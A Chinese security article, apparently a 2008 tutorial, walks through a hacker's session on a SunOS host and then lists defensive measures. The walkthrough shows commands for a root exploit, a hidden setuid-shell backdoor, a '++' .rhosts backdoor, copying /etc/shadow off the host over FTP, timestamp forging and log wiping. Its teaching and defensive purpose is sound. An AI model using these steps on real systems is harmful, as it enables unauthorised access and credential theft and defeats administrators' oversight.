科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道主流Unix操作系统的安全检测和防范(3)

主流Unix操作系统的安全检测和防范(3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。

作者:论坛整理 来源:zdnet网络安全 2008年2月17日

关键字: 系统安全 unix 安全检测

  • 评论
  • 分享微博
  • 分享邮件
就我一个人了?估计忙了一早上,他们肯定饿坏了,都去吃饭去了吧!^_^ 

$Content$nbsp;./.of 
usage: ./.of lpserver 
$Content$nbsp;./of localhost 


  哈哈!成功了!看见提示符变成“#”没有?这就是root的特权标志! 

# whoami 
root 


  没错了!哈哈!开始我们的“工作”吧:^_^ 

# rm -fr ./.of.c 
# mkdir /usr/man/man1/... 
# cp /bin/ksh /usr/man/man1/.../.zsh 
# chmod +s /usr/man/man1/.../.zsh 

  首先删掉了源代码文件,然后在/usr/man/man1/下建立一个隐藏目录“...”,把ksh这个shell拷过去隐藏起来,并把属性改成-rwsr-sr--。这是个简单的后门,下次我一进来执行它就可以root了,省时省力。^_^ 

# cd .. 
# cd .. 
# pwd 
/export/home 
# ls 
dennis walter power deal jessica smith render 
# cd render 
# echo ’++’ >./.rhosts 
# ls -l 
………… .rhosts ………… 


  好,又在render的home里建了一个可以远程登陆的后门。下面把这台主机的shadow传回去,以后可以用John多跑一些密码出来:^_^ 

# cp /etc/shadow /export/home/power/.../.s 
# chmod 666 /export/home/power/.../.s 
# exit 
$Content$nbsp;exit 
bash$Content$nbsp;
bash$Content$nbsp;ftp 202.202.0.8 
Connected to 202.202.0.8... 
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready. 
Name(202.202.0.8:FakeName):power 
331 Guest login ok,send you complete e-mail address as password. 
Password: 
230:Welcome,power! 
………… 
………… 
………… 
ftp>ls 
ftp>cd ... 
ftp>ls -l 
………… 
.zsh .s 
………… 
ftp>get .s 
226 Transfer complete. 
540 bytes received in 0.55 seconds (1.8Kbytes/s) 
ftp>bye 
221 Goodbye. 
bash$Content$nbsp;

  顺利地get回来了。再次登陆之: 
bash$Content$nbsp;telnet 202.202.0.8 
SunOS 5.6 
login:power 
password: 
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117 
Sun Microsystems Inc. SunOS 5.6 
$Content$nbsp;/usr/man/man1/.../.zsh 
# whoami 
root 


  利用刚才作的后门,轻松得到root。别忘了用touch给每个你动过的文件改时间,以免被管理员发现文件被动过!BTW:touch的用法是:touch -t 200112081314 目标文件。然后我们用power的身份telnet一下自己,免得被power下次登陆一下就发现IP有问题: 
# telnet localhost 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is ’^]’. 
SunOS 5.6 
login: power 
Password: 
Last login: Mon Dec 8 13:21:55 CDT 2001 from 202.202.0.8 
Sun Microsystems Inc. SunOS 5.6 Generic August 1997 
You have mail. 
$Content$nbsp;exit 
Connection closed by foreign host. 


  下面我们要“擦脚印”了,一般需要我们擦的日志有如下几个: lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog和sulog。你可以用vi手动删除,不过我“好心”告诉你,手动一条条地删太麻烦,这里我们使用一个perl写的脚本cleaner.sh,它可以帮我们把PP擦得干干净净 ^_^(这里略去如何将cleaner.sh用ftp传上来,并隐藏起来的步骤): 

chmod +x ./cleaner.sh 
#./cleaner.sh power 
Log cleaner v0.5b By: Tragedy/Dor OS 
detection.... 
Detected SunOS 
Log cleaning in process.... 
* Cleaning aculog ( 0 lines)...0 lines removed! 
* Cleaning lastlog ( 19789 lines)...45 lines removed! 
* Cleaning messages ( 12 lines)...1 lines removed! 
* Cleaning messages.0 ( 12 lines)...0 lines removed! 
* Cleaning messages.1 ( 28 lines)...0 lines removed! 
* Cleaning messages.2 ( 38 lines)...0 lines removed! 
* Cleaning messages.3 ( 17 lines)...0 lines removed! 
* Cleaning spellhist ( 0 lines)...0 lines removed! 
* Cleaning sulog ( 986 lines)...6 lines removed! 
* Cleaning utmp ( 179 lines)...1 lines removed! 
* Cleaning utmpx ( 387 lines)...1 lines removed! 
* Cleaning vold.log ( 0 lines)...0 lines removed! 
* Cleaning wtmp ( 299 lines)...0 lines removed! 
* Cleaning wtmpx ( 565 lines)...0 lines removed! 
* Cleaning authlog ( 0 lines)...0 lines removed! 
* Cleaning syslog ( 53 lines)...0 lines removed! 
* Cleaning syslog.0 ( 14 lines)...0 lines removed! 
* Cleaning syslog.1 ( 64 lines)...0 lines removed! 
* Cleaning syslog.2 ( 39 lines)...0 lines removed! 
* Cleaning syslog.3 ( 5 lines)...0 lines removed! 
* Cleaning syslog.4 ( 3 lines)...0 lines removed! 
* Cleaning syslog.5 ( 210 lines)...0 lines removed! 
# ./cleaner.sh root 
………… 

  擦干净后再如法对root账户炮制一遍。最后……看了一下手表,哇!13:53了,又要上工了,:-( 以后再来消遣你吧!^_^ 现在,我要上工,你就好好休息啰!嘿嘿! 

# /sbin/shutdown now 
………… 

  关机啦!Wow! 

  §.讨论及防范措施 

  好了!我们从上面的例子可以看出,黑客的攻击步骤是如下六个步骤: 

  1.收集资料 
  2.取得普通用户的权限 
  3.远程登陆 
  4.取得超级用户的权限 
  5.留下后门 
  6.清除日志 

其中最重要,也是最容易被管理员忽视的是第二个步骤。如果能够得到一个那怕是权限再小的账户,黑客也可以利用各种五花八门的漏洞来提升他的权限,并最终获得root。许多人认为只要对root账户加以注意就足够了,其实不然,如果黑客很容易地进入了主机,那他就会跳过root口令这一攻击难点,直接利用缓冲区溢出来root(如上面的例子就是这样)。因此,大家一定要注意对普通账户密码强度的测试和检查,并强令用户定期更改。 

  定期遍历磁盘检查.rhosts文件,这个后门十分危险,它可以直接不用口令而远程登陆。况且现在有不少的工具可以自动扫描这个漏洞,一旦发现一个,黑客们就会像苍蝇闻到血味一样蜂拥而至。如果他们像我一样的“善良”,只玩个shutdown还好说;碰到个把“辣手”黑客来个rm -fr *,你的饭碗估计就会丢了! 

  定期检查属性为-rwsr-sr--的文件。这种文件只要一被user执行,他马上就会具有和该文件创造者一样的权限。如果创造者是root的话,结果可想而之。一般黑客们都将shell改成此类属性然后藏起来,便于下次利用。 

  不要过分相信日志,因为它很可能是被入侵者加过“工”的。注意留心某些启动时自动加载的文件的内容和时间,因为它们可能会被植入木马。如:/etc/rc.d/init.d/network,就是在网络服务启动时自动加载的。 

  使用MD5保护自己的二进制程序。MD5在发现/bin、/sbin等目录下的文件被替换时会报警或用Email通知管理员,这可以有效地防止假login、假su的诱骗。 

  使用getsniff和rootkit detector等工具查找系统中是否有嗅探器和rootkit黑客工具包,尤其是rootkit,这玩艺危害无穷。 

  留心自己的CGI是否有漏洞,现在针对CGI漏洞的扫描工具特别多:如Unix/Linux平台下的messala和hunt等;Win9x/Win2000平台下的Twwwsacn和流光等等。尤其是流光,不论高手还是菜鸟都喜欢用它,真是一副老少皆宜的奇怪景观。^_^ 

  如果不需要ftp服务,最好关掉它,开着只会后患无穷。黑客可以先将rootkit、特制的su,已修改过属性的shell放在他自己的ftp服务器上,得到普通账户后直接上传到你的机器上并执行之,他就root了。简单吧?
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章